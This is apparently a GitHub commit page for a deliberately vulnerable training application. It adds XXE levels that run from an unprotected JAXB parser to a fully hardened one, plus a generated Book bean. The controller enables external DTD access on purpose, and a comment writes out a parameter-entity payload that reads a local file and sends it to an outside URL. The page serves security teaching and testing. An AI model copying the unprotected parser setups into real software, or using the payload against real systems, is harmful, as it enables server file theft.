Skip to content

Commit

Permalink
Merge pull request #207 from SasanLabs/jibintegration
Browse files Browse the repository at this point in the history
XXE attack
  • Loading branch information
preetkaran20 authored Oct 2, 2020
2 parents fc1d659 + 95095d7 commit cccfec7
Show file tree
Hide file tree
Showing 14 changed files with 726 additions and 2 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,223 @@
package org.sasanlabs.service.vulnerability.xxe;

import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Source;
import javax.xml.transform.sax.SAXSource;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.sasanlabs.internal.utility.LevelConstants;
import org.sasanlabs.internal.utility.annotations.AttackVector;
import org.sasanlabs.internal.utility.annotations.ResponseType;
import org.sasanlabs.internal.utility.annotations.VulnerableAppRequestMapping;
import org.sasanlabs.internal.utility.annotations.VulnerableAppRestController;
import org.sasanlabs.service.vulnerability.bean.GenericVulnerabilityResponseBean;
import org.sasanlabs.service.vulnerability.xxe.bean.Book;
import org.sasanlabs.service.vulnerability.xxe.bean.ObjectFactory;
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntity;
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntityRepository;
import org.sasanlabs.vulnerability.types.VulnerabilitySubType;
import org.sasanlabs.vulnerability.types.VulnerabilityType;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMethod;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;

/**
* Resources referred while writing this Vulnerability. <br>
* General XXE: <br>
* 1. https://www.youtube.com/watch?v=DREgLWZqMWg <br>
* 2. https://portswigger.net/web-security/xxe <br>
* 3. https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9 <br>
*
* <p>Parameter Entities attack:<br>
* 1. https://securitylab.github.com/research/restlet_xxe_vulnerability_CVE-2017-14949 <br>
*
* <p>Prevention technique: <br>
* 1.
* https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md1
* <br>
*
* @author KSASAN preetkaran20@gmail.com
*/
@VulnerableAppRestController(
descriptionLabel = "XXE_VULNERABILITY",
value = "XXEVulnerability",
type = {VulnerabilityType.XXE})
public class XXEVulnerability {

private BookEntityRepository bookEntityRepository;
private static final transient Logger LOGGER = LogManager.getLogger(XXEVulnerability.class);

@Autowired
public XXEVulnerability(BookEntityRepository bookEntityRepository) {
// This needs to be done to access Server's Local File and doing Http Outbound call.
System.setProperty("javax.xml.accessExternalDTD", "all");
this.bookEntityRepository = bookEntityRepository;
}

// No XXE protection
@AttackVector(
vulnerabilityExposed = VulnerabilitySubType.XXE,
description = "XXE_NO_VALIDATION")
@VulnerableAppRequestMapping(
value = LevelConstants.LEVEL_1,
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION",
htmlTemplate = "LEVEL_1/XXE",
requestMethod = RequestMethod.POST,
responseType = ResponseType.JSON)
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel1(
HttpServletRequest request) {
try {
InputStream in = request.getInputStream();
JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class);
Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller();
@SuppressWarnings("unchecked")
JAXBElement<Book> bookJaxbElement =
(JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(in));
BookEntity bookEntity =
new BookEntity(bookJaxbElement.getValue(), LevelConstants.LEVEL_1);
bookEntityRepository.save(bookEntity);
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true),
HttpStatus.OK);
} catch (Exception e) {
LOGGER.error(e);
}
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
}

/**
* Saves the JAXB Entity to Database and also builds the response.
*
* @param spf
* @param in
* @param level
* @return GenericVulnerabilityResponseBean book
* @throws JAXBException
* @throws SAXException
* @throws ParserConfigurationException
*/
private ResponseEntity<GenericVulnerabilityResponseBean<Book>> saveJaxBBasedBookInformation(
SAXParserFactory spf, InputStream in, String level)
throws JAXBException, SAXException, ParserConfigurationException {
JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in));
Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller();
@SuppressWarnings("unchecked")
JAXBElement<Book> bookJaxbElement =
(JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(xmlSource));
BookEntity bookEntity = new BookEntity(bookJaxbElement.getValue(), level);
bookEntityRepository.save(bookEntity);
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true),
HttpStatus.OK);
}

/*
* Case insensitive DOCTYPE is not allowed so therefore not adding a level for
* that.
*/

/**
* if external-parameter-entities are allowed then those parameter entities can cause harm like:
*
* <p><!ENTITY % file SYSTEM "file:///etc/notify.conf"> <!ENTITY % eval "<!ENTITY &#x25;
* exfiltrate SYSTEM 'https://www.google.com/?x=%file;'>"> <!ENTITY xxe
* 'file:///etc/notify.conf'> %eval; %exfiltrate; <?xml version="1.0" encoding="UTF-8"?>
*
* <p><!DOCTYPE root [ <!ENTITY % param1 SYSTEM "<file location refering DTD which has some code
* like above.>"> %param1; ]> <book> <name>singh</name> <isbn>isbn</isbn>
* <author>author</author> <publisher>exf</publisher> </book> <br>
* Only Disabling General Entities cannot stop the XXE as General Parameter entities can cause
* harmful attacks Like sending internal information to attacker controlled Website http
* outbound call.
*/
@AttackVector(
vulnerabilityExposed = VulnerabilitySubType.XXE,
description = "XXE_DISABLE_GENERAL_ENTITY")
@VulnerableAppRequestMapping(
value = LevelConstants.LEVEL_2,
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION",
htmlTemplate = "LEVEL_1/XXE",
requestMethod = RequestMethod.POST,
responseType = ResponseType.JSON)
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel2(
HttpServletRequest request) {
try {
InputStream in = request.getInputStream();
// Only disabling external Entities
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_2);
} catch (Exception e) {
LOGGER.error(e);
}
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
}

// Protects against all XXE attacks. This is the configuration which is needed
// in case application requires DOCTYPE declarations.
@AttackVector(
vulnerabilityExposed = VulnerabilitySubType.XXE,
description = "XXE_DISABLE_GENERAL_AND_PARAMETER_ENTITY")
@VulnerableAppRequestMapping(
value = LevelConstants.LEVEL_3,
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION",
htmlTemplate = "LEVEL_1/XXE",
requestMethod = RequestMethod.POST,
responseType = ResponseType.JSON)
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel3(
HttpServletRequest request) {
try {
InputStream in = request.getInputStream();
// disabling external Entities and parameter Entities
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_3);
} catch (Exception e) {
LOGGER.error(e);
}
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
}

// Protects against XXE. This is the configuration where DOCTYPE declaration is
// not required.
@VulnerableAppRequestMapping(
value = LevelConstants.LEVEL_4,
descriptionLabel = "XML_CONTAINING_BOOK_ENTITY_INFORMATION",
htmlTemplate = "LEVEL_1/XXE",
requestMethod = RequestMethod.POST,
responseType = ResponseType.JSON)
public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel4(
HttpServletRequest request) {
try {
InputStream in = request.getInputStream();
// Disabling DocType. Recommended approach
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_4);
} catch (Exception e) {
LOGGER.error(e);
}
return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
}
}
147 changes: 147 additions & 0 deletions src/main/java/org/sasanlabs/service/vulnerability/xxe/bean/Book.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,147 @@
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference
// Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2020.09.28 at 08:45:45 AM IST
//

package org.sasanlabs.service.vulnerability.xxe.bean;

import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;

/**
* Java class for Book complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* &lt;complexType name="Book">
* &lt;complexContent>
* &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* &lt;sequence>
* &lt;element name="name" type="{http://www.w3.org/2001/XMLSchema}string"/>
* &lt;element name="isbn" type="{http://www.w3.org/2001/XMLSchema}string"/>
* &lt;element name="author" type="{http://www.w3.org/2001/XMLSchema}string"/>
* &lt;element name="publisher" type="{http://www.w3.org/2001/XMLSchema}string"/>
* &lt;element name="others" type="{http://www.w3.org/2001/XMLSchema}string"/>
* &lt;/sequence>
* &lt;/restriction>
* &lt;/complexContent>
* &lt;/complexType>
* </pre>
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(
name = "Book",
propOrder = {"name", "isbn", "author", "publisher", "others"})
public class Book {

@XmlElement(required = true)
protected String name;

@XmlElement(required = true)
protected String isbn;

@XmlElement(required = true)
protected String author;

@XmlElement(required = true)
protected String publisher;

@XmlElement(required = true)
protected String others;

/**
* Gets the value of the name property.
*
* @return possible object is {@link String }
*/
public String getName() {
return name;
}

/**
* Sets the value of the name property.
*
* @param value allowed object is {@link String }
*/
public void setName(String value) {
this.name = value;
}

/**
* Gets the value of the isbn property.
*
* @return possible object is {@link String }
*/
public String getIsbn() {
return isbn;
}

/**
* Sets the value of the isbn property.
*
* @param value allowed object is {@link String }
*/
public void setIsbn(String value) {
this.isbn = value;
}

/**
* Gets the value of the author property.
*
* @return possible object is {@link String }
*/
public String getAuthor() {
return author;
}

/**
* Sets the value of the author property.
*
* @param value allowed object is {@link String }
*/
public void setAuthor(String value) {
this.author = value;
}

/**
* Gets the value of the publisher property.
*
* @return possible object is {@link String }
*/
public String getPublisher() {
return publisher;
}

/**
* Sets the value of the publisher property.
*
* @param value allowed object is {@link String }
*/
public void setPublisher(String value) {
this.publisher = value;
}

/**
* Gets the value of the others property.
*
* @return possible object is {@link String }
*/
public String getOthers() {
return others;
}

/**
* Sets the value of the others property.
*
* @param value allowed object is {@link String }
*/
public void setOthers(String value) {
this.others = value;
}
}
Loading

0 comments on commit cccfec7

Please sign in to comment.